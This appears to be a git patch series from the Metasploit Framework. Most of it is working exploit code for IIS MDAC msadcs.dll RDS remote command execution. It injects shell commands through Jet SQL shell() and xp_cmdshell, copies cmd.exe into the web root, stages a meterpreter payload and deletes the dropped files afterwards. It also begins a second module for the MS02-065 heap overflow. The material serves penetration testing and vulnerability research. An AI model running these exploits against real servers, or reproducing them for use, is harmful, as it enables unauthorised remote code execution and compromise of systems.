"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", + "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" + ] + + print_status("Step 1: Trying raw driver to btcustmr.mdb") + + drives.each do |drive| + sysdirs.each do |sysdir| + ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;") + return ret if (ret) + end + end + + print_status("Step 2: Trying to make our own DSN...") + x = false # Stop if we make a DSN + drives.each do |drive| + dsns.each do |dsn| + unless x + x = create_dsn(drive, dsn) + end + end + end + + table = rand_text_alphanumeric(3) + print_status("Step 3: Trying to create a new table in our own DSN...") + exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query + + print_status("Step 4: Trying to execute our command via our own DSN and table...") + ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query + return ret if (ret) + + print_status("Step 5: Trying to execute our command via known DSNs...") + dsns.each do |dsn| + ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new) + return ret if (ret) + end + + print_status("Step 6: Trying known system .mdbs...") + drives.each do |drive| + sysdirs.each do |sysdir| + sysmdbs.each do |sysmdb| + exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};") + ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};") + return ret if (ret) + end + end + end + + print_status("Step 7: Trying known program file .mdbs...") + drives.each do |drive| + mdbs.each do |mdb| + exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};") + ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};") + return ret if (ret) + end + end + + print_status("Step 8: Trying SQL xp_cmdshell method...") + ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :) + return ret if (ret) + end + + def exploit + print_status("Searching for valid command execution point...") + x = false + until (x) + x,y,z =find_exec + end + + if (x == true) + print_good("Successful command execution found!") + + # now copy the file + exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" + print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...") + # NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory + # Unfortunately, using %SystemRoot% doesn't seem to work :( + res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z) + + # Use the CMD stager to get a payload running + execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) + + # Save these file names for later deletion + @exe_cmd_copy = exe_fname + @exe_payload = payload_exe + + # Just for good measure, we'll make a quick, direct request for the payload + # Using the "start" method doesn't seem to make iis very happy :( + print_status("Triggering the payload via a direct request...") + res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1) + end + + handler + + end + + # + # The following handles deleting the copied cmd.exe and payload exe! + # + def on_new_session(client) + + if client.type != "meterpreter" + print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") + print_error("The copied exe and the payload exe must be removed manually.") + return + end + + return if not @exe_cmd_copy + + # stdapi must be loaded before we can use fs.file + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + + # Delete the copied CMD.exe + print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...") + client.fs.file.rm(@exe_cmd_copy) + + # Migrate so that we can delete the payload exe + client.console.run_single("run migrate -f") + + # Delete the payload exe + return if not @exe_payload + + delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ? + + print_status("Changing permissions on #{delete_me_too} ...") + cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ? + client.sys.process.execute(cmd, nil, {'Hidden' => true }) + + print_status("Deleting #{delete_me_too} ...") + begin + client.fs.file.rm(delete_me_too) + rescue ::Exception => e + print_error("Exception: #{e.inspect}") + end + end + + def cleanup + framework.events.remove_exploit_subscriber(self) + end + + def execute_command(cmd, opts = {}) + # Don't try the start command... + # Using the "start" method doesn't seem to make iis very happy :( + return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/ + + print_status("Executing command: #{cmd} (options: #{opts.inspect})") + + uri = '/scripts/' + exe = opts[:cgifname] + if (exe) + uri << exe + end + uri << '?/x+/c+' + uri << Rex::Text.uri_encode(cmd) + + vprint_status("Attempting to execute: #{uri}") + + res = send_request_raw({ + 'uri' => uri, + 'method' => 'GET', + }, 20) + end + +end From c36ab97d4143af1cf1efae05f7d5c0e42eb1722f Mon Sep 17 00:00:00 2001 From: Patrick Webster Date: Wed, 6 Jun 2012 18:36:20 +1000 Subject: [PATCH 05/10] Updated msadc exploit with fixes. --- modules/exploits/windows/iis/msadc.rb | 87 ++++++++++++++------------- 1 file changed, 46 insertions(+), 41 deletions(-) diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 53bd669ec7..12dfd0ed08 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -66,7 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]), OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]), - OptBool.new('VERBOSE', [ true, "If true, be more verbose", false]), OptString.new('DBHOST', [ true, "The SQL Server host", 'local']), OptString.new('DBNAME', [ true, "The SQL Server database", 'master']), OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']), @@ -78,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'uri' => datastore['PATH'], 'method' => 'GET', - }, 20) + }) if (res.code == 200) print_status("Server responded with HTTP #{res.code} OK") if (res.body =~ /Content-Type: application\/x-varg/) @@ -95,12 +94,10 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'uri' => req, - }, 20) + }) - if (res.code == 200 and res.body =~ /

Datasource creation FAILED! The most likely cause is invalid attributes<\/B><\/H2>/) - if (datastore['VERBOSE']) - print_error("DSN CREATE failed for drive #{drive} with #{dsn}.") - end + if (res and res.code == 200 and res.body =~ /

Datasource creation FAILED! The most likely cause is invalid attributes<\/B><\/H2>/) + vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.") return false elsif (res.code == 200 and res.body =~ /

Datasource creation successful<\/H2>/) print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!") @@ -108,20 +105,19 @@ class Metasploit3 < Msf::Exploit::Remote end end - def exec_cmd(a, c, b) # a = sql, c = cmd, b = DSN or MDB + def exec_cmd(sql, cmd, d) boundary = rand_text_alphanumeric(8) method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query" - dsn = Rex::Text.to_unicode(b) - if (b =~ /driver=\{SQL Server\}/) - select = Rex::Text.to_unicode(a + '"' + c + '"') - elsif (c.nil?) - select = Rex::Text.to_unicode(a) + dsn = Rex::Text.to_unicode(d) + if (d =~ /driver=\{SQL Server\}/) + select = Rex::Text.to_unicode(sql + '"' + cmd + '"') + elsif (cmd.nil?) + select = Rex::Text.to_unicode(sql) else - select = Rex::Text.to_unicode(a+ "'|shell(\"" + c + "\")|'") - end - if (datastore['VERBOSE']) - print_status("Attempting to request: #{select} on #{dsn}") + select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'") end + + vprint_status("Attempting to request: #{select} on #{d}") query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}" @@ -148,50 +144,54 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', 'data' => data, - }, 20) + }) response = Rex::Text.to_ascii(res.body, 'utf-16be') if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./) - print_good("Command was successfully executed! Statement: #{select} Driver: #{dsn}") if (datastore['VERBOSE']) - return true, a, b + vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}") + return true, sql, d elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./) print_error("Exploit failed: the server is patched") break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail. elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/) - print_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/) - print_error("Server is vulnerable but the drive and path is incorrect.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable but the drive and path is incorrect.") elsif (response =~ /Disk or network error./) - print_error("Server is vulnerable but the driver letter doesn't physically exist.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable but the driver letter doesn't physically exist.") elsif (response =~ /Syntax error in CREATE TABLE statement/) - print_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") elsif (response =~ /Table '(\w+)' already exists/) - print_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") elsif (response =~ /Syntax error \(missing operator\) in query expression/) - print_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") elsif (response =~ /Too few parameters. Expected 1/) print_good("Command was probably executed!") elsif (response =~ /Data source name not found and no default driver specified/) - print_error("Server is vulnerable however the requested DSN '#{b}' does not exist.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.") elsif (response =~ /Couldn't find file/) - print_error("Server is vulnerable however the requested .mdb file does not exist.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable however the requested .mdb file does not exist.") elsif (response =~ /Specified SQL server not found/) - print_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") + elsif (response =~ /Server does not exist or access denied/) + vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied") elsif (response =~ /General error Unable to open registry key/) - print_error("Server error (possible misconfiguration): Unable to open registry key ") if (datastore['VERBOSE']) + vprint_error("Server error (possible misconfiguration): Unable to open registry key ") elsif (response =~ /It is in a read-only database/) - print_error("Server accepted request however the requested .mdb is READ-ONLY") if (datastore['VERBOSE']) + vprint_error("Server accepted request however the requested .mdb is READ-ONLY") elsif (response =~ /Invalid connection/) - print_error("Server accepted request however the MSSQL database says Invalid connection") if (datastore['VERBOSE']) + vprint_error("Server accepted request however the MSSQL database says Invalid connection") elsif (response =~ /\[SQL Server\]Login failed for user/) - print_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") if (datastore['VERBOSE']) + vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") + elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/) + vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!") elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"

"
' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique. - print_error("Server accepted request however it failed for reasons unknown.") if (datastore['VERBOSE']) + vprint_error("Server accepted request however it failed for reasons unknown.") elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval? - print_error("Unknown reply - but the command didn't execute") if (datastore['VERBOSE']) + vprint_error("Unknown reply - but the command didn't execute") else - print_status("Unknown reply - server is likely patched:\n#{response}") + vprint_status("Unknown reply - server is likely patched:\n#{response}") end return false end @@ -201,14 +201,14 @@ class Metasploit3 < Msf::Exploit::Remote boundary = rand_text_alphanumeric(8) if (datastore['NAME']) # Obtain the hostname if true - + data = "ADCClientVersion:01.06\r\n" data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0' data << "\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ - 'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName', - 'agent' => 'ACTIVEDATA', + 'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName', + 'agent' => 'ACTIVEDATA', 'headers' => { 'Content-Length' => data.length, @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', 'data' => data, - }, 20) + }) if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname print_good("Hostname: #{$1}") @@ -312,6 +312,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Step 8: Trying SQL xp_cmdshell method...") ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :) return ret if (ret) + + return -1 end def exploit @@ -319,6 +321,9 @@ class Metasploit3 < Msf::Exploit::Remote x = false until (x) x,y,z =find_exec + if (x == -1) + break + end end if (x == true) @@ -412,7 +417,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'uri' => uri, 'method' => 'GET', - }, 20) + }) end end From a54b14b1921dbd3d415b267a383bd751a933dc45 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Jun 2012 11:10:05 -0500 Subject: [PATCH 06/10] Remove whitespace --- modules/exploits/windows/iis/msadc.rb | 80 ++++++++++++--------------- 1 file changed, 36 insertions(+), 44 deletions(-) diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 12dfd0ed08..5232eeb7d6 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -20,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize super( - 'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution', + 'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution', 'Description' => %q{ This module can be used to execute arbitrary commands on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components @@ -39,20 +35,19 @@ class Metasploit3 < Msf::Exploit::Remote and useful for debugging. Also set NAME to obtain the remote hostname, and METHOD to use the alternative VbBusObj technique. }, - 'Author' => 'patrick', - 'Version' => '$Revision$', - 'Platform' => 'win', - 'References' => + 'Author' => 'patrick', + 'Platform' => 'win', + 'References' => [ ['OSVDB', '272'], ['BID', '529'], ['CVE', '1999-1011'], ['MSB', 'ms98-004'], - ['MSB', 'ms99-025'], + ['MSB', 'ms99-025'] ], - 'Targets' => + 'Targets' => [ - # patrickw tested meterpreter OK 20120601 + # patrickw tested meterpreter OK 20120601 # nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx # w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp [ 'Automatic', { } ], @@ -91,11 +86,11 @@ class Metasploit3 < Msf::Exploit::Remote def create_dsn(drive, dsn) req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr=" - + res = send_request_raw({ - 'uri' => req, + 'uri' => req, }) - + if (res and res.code == 200 and res.body =~ /

Datasource creation FAILED! The most likely cause is invalid attributes<\/B><\/H2>/) vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.") return false @@ -104,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote return true end end - + def exec_cmd(sql, cmd, d) boundary = rand_text_alphanumeric(8) method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query" @@ -118,15 +113,15 @@ class Metasploit3 < Msf::Exploit::Remote end vprint_status("Attempting to request: #{select} on #{d}") - + query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}" - - sploit = "--#{boundary}\r\n" + + sploit = "--#{boundary}\r\n" sploit << "Content-Type: application/x-varg\r\n" sploit << "Content-Length: #{query.length}\r\n\r\n" sploit << query sploit << "\r\n--#{boundary}--\r\n" - + data = "ADCClientVersion:01.06\r\n" data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3' data << "\r\n\r\n" @@ -140,14 +135,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Content-Length' => data.length, 'Connection' => "Keep-Alive", }, - 'method' => 'POST', 'data' => data, - }) - + response = Rex::Text.to_ascii(res.body, 'utf-16be') - + if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./) vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}") return true, sql, d @@ -190,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_error("Server accepted request however it failed for reasons unknown.") elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval? vprint_error("Unknown reply - but the command didn't execute") - else + else vprint_status("Unknown reply - server is likely patched:\n#{response}") end return false @@ -205,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote data = "ADCClientVersion:01.06\r\n" data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0' data << "\r\n\r\n--#{boundary}--\r\n" - + res = send_request_raw({ 'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName', 'agent' => 'ACTIVEDATA', @@ -214,12 +207,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Content-Length' => data.length, 'Connection' => "Keep-Alive", }, - 'method' => 'POST', 'data' => data, - + }) - + if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname print_good("Hostname: #{$1}") end @@ -237,7 +229,7 @@ class Metasploit3 < Msf::Exploit::Remote "\\system32\\ias\\ias.mdb", "\\system32\\ias\\dnary.mdb", "\\system32\\certlog\\certsrv.mdb" ] - + mdbs = [ "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows "\\cfusion\\cfapps\\forums\\forums_.mdb", "\\cfusion\\cfapps\\forums\\data\\forums.mdb", @@ -255,16 +247,16 @@ class Metasploit3 < Msf::Exploit::Remote "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ] - + print_status("Step 1: Trying raw driver to btcustmr.mdb") - + drives.each do |drive| sysdirs.each do |sysdir| ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;") return ret if (ret) end end - + print_status("Step 2: Trying to make our own DSN...") x = false # Stop if we make a DSN drives.each do |drive| @@ -274,21 +266,21 @@ class Metasploit3 < Msf::Exploit::Remote end end end - + table = rand_text_alphanumeric(3) print_status("Step 3: Trying to create a new table in our own DSN...") exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query - + print_status("Step 4: Trying to execute our command via our own DSN and table...") ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query return ret if (ret) - + print_status("Step 5: Trying to execute our command via known DSNs...") dsns.each do |dsn| ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new) return ret if (ret) end - + print_status("Step 6: Trying known system .mdbs...") drives.each do |drive| sysdirs.each do |sysdir| @@ -299,7 +291,7 @@ class Metasploit3 < Msf::Exploit::Remote end end end - + print_status("Step 7: Trying known program file .mdbs...") drives.each do |drive| mdbs.each do |mdb| @@ -308,14 +300,14 @@ class Metasploit3 < Msf::Exploit::Remote return ret if (ret) end end - + print_status("Step 8: Trying SQL xp_cmdshell method...") ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :) return ret if (ret) - + return -1 end - + def exploit print_status("Searching for valid command execution point...") x = false @@ -325,10 +317,10 @@ class Metasploit3 < Msf::Exploit::Remote break end end - + if (x == true) print_good("Successful command execution found!") - + # now copy the file exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...") @@ -396,7 +388,7 @@ class Metasploit3 < Msf::Exploit::Remote def cleanup framework.events.remove_exploit_subscriber(self) end - + def execute_command(cmd, opts = {}) # Don't try the start command... # Using the "start" method doesn't seem to make iis very happy :( From 28fe4c0be5b09dd7f1791dfc7035907414631943 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Jun 2012 11:15:07 -0500 Subject: [PATCH 07/10] What's this break stuff? "break" should be "return" --- modules/exploits/windows/iis/msadc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 5232eeb7d6..303feb2792 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -146,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote return true, sql, d elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./) print_error("Exploit failed: the server is patched") - break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail. + return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail. elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/) vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/) From a2751e3ccd4db85a9c72f1f1ce8246ce8bef2461 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 6 Jun 2012 17:04:54 -0600 Subject: [PATCH 08/10] Rdoc fixes --- lib/msf/core/module.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index ca206d713d..ce5093c9ec 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -894,10 +894,10 @@ protected # them into one single hash. As it stands, modules can define # compatibility in their supplied info hash through: # - # Compat - direct compat definitions - # PayloadCompat - payload compatibilities - # EncoderCompat - encoder compatibilities - # NopCompat - nop compatibilities + # Compat:: direct compat definitions + # PayloadCompat:: payload compatibilities + # EncoderCompat:: encoder compatibilities + # NopCompat:: nop compatibilities # # In the end, the module specific compatibilities are merged as sub-hashes # of the primary Compat hash key to make checks more uniform. From e8af6882eb943c2e00dea254c1cbb14aa5e0b9c9 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 6 Jun 2012 20:05:16 -0500 Subject: [PATCH 09/10] Permissions --- data/exploits/CVE-2008-0320.doc | Bin data/exploits/batik_svg/Exploit$1.class | Bin data/exploits/batik_svg/Exploit.class | Bin data/exploits/batik_svg/META-INF/MANIFEST.MF | 0 data/meterpreter/ext_server_stdapi.jar | Bin data/meterpreter/meterpreter.jar | Bin .../20120601152442_add_counter_caches_to_hosts.rb | 0 data/templates/template_x86_bsd.bin | Bin data/templates/template_x86_solaris.bin | Bin data/wordlists/multi_vendor_cctv_dvr_pass.txt | 0 data/wordlists/multi_vendor_cctv_dvr_users.txt | 0 11 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 data/exploits/CVE-2008-0320.doc mode change 100644 => 100755 data/exploits/batik_svg/Exploit$1.class mode change 100644 => 100755 data/exploits/batik_svg/Exploit.class mode change 100644 => 100755 data/exploits/batik_svg/META-INF/MANIFEST.MF mode change 100644 => 100755 data/meterpreter/ext_server_stdapi.jar mode change 100644 => 100755 data/meterpreter/meterpreter.jar mode change 100644 => 100755 data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb mode change 100644 => 100755 data/templates/template_x86_bsd.bin mode change 100644 => 100755 data/templates/template_x86_solaris.bin mode change 100644 => 100755 data/wordlists/multi_vendor_cctv_dvr_pass.txt mode change 100644 => 100755 data/wordlists/multi_vendor_cctv_dvr_users.txt diff --git a/data/exploits/CVE-2008-0320.doc b/data/exploits/CVE-2008-0320.doc old mode 100644 new mode 100755 diff --git a/data/exploits/batik_svg/Exploit$1.class b/data/exploits/batik_svg/Exploit$1.class old mode 100644 new mode 100755 diff --git a/data/exploits/batik_svg/Exploit.class b/data/exploits/batik_svg/Exploit.class old mode 100644 new mode 100755 diff --git a/data/exploits/batik_svg/META-INF/MANIFEST.MF b/data/exploits/batik_svg/META-INF/MANIFEST.MF old mode 100644 new mode 100755 diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar old mode 100644 new mode 100755 diff --git a/data/meterpreter/meterpreter.jar b/data/meterpreter/meterpreter.jar old mode 100644 new mode 100755 diff --git a/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb b/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb old mode 100644 new mode 100755 diff --git a/data/templates/template_x86_bsd.bin b/data/templates/template_x86_bsd.bin old mode 100644 new mode 100755 diff --git a/data/templates/template_x86_solaris.bin b/data/templates/template_x86_solaris.bin old mode 100644 new mode 100755 diff --git a/data/wordlists/multi_vendor_cctv_dvr_pass.txt b/data/wordlists/multi_vendor_cctv_dvr_pass.txt old mode 100644 new mode 100755 diff --git a/data/wordlists/multi_vendor_cctv_dvr_users.txt b/data/wordlists/multi_vendor_cctv_dvr_users.txt old mode 100644 new mode 100755 From 0e20d324b830eef69b3288c60d355930f35d1f55 Mon Sep 17 00:00:00 2001 From: Patrick Webster Date: Thu, 7 Jun 2012 21:02:13 +1000 Subject: [PATCH 10/10] Added ms02_065_msadc exploit module. --- .../exploits/windows/iis/ms02_065_msadc.rb | 108 ++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 modules/exploits/windows/iis/ms02_065_msadc.rb diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb new file mode 100644 index 0000000000..d89f4306b6 --- /dev/null +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -0,0 +1,108 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow', + 'Description' => %q{ + This module can be used to execute arbitrary code on IIS servers + that expose the /msadc/msadcs.dll Microsoft Data Access Components + (MDAC) Remote Data Service (RDS) DataFactory service. The service is + exploitable even when RDS is configured to deny remote connections + (handsafe.reg). The service is vulnerable to a heap overflow where + the RDS DataStub 'Content-Type' string is overly long. Microsoft Data + Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable. + }, + 'Author' => 'patrick', + 'Version' => '$Revision$', + 'Platform' => 'win', + 'References' => + [ + ['OSVDB', '14502'], + ['BID', '6214'], + ['CVE', '2002-1142'], + ['MSB', 'ms02-065'], + ['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html'], + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&", + 'StackAdjustment' => -3500, + }, + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully + }, + 'Targets' => + [ + # patrickw tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0 + [ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 20 2002' + ) + + register_options( + [ + OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), + ], self.class) + end + + def check + res = send_request_raw({ + 'uri' => datastore['PATH'], + 'method' => 'GET', + }) + if (res and res.code == 200) + print_status("Server responded with HTTP #{res.code} OK") + if (res.body =~ /Content-Type: application\/x-varg/) + 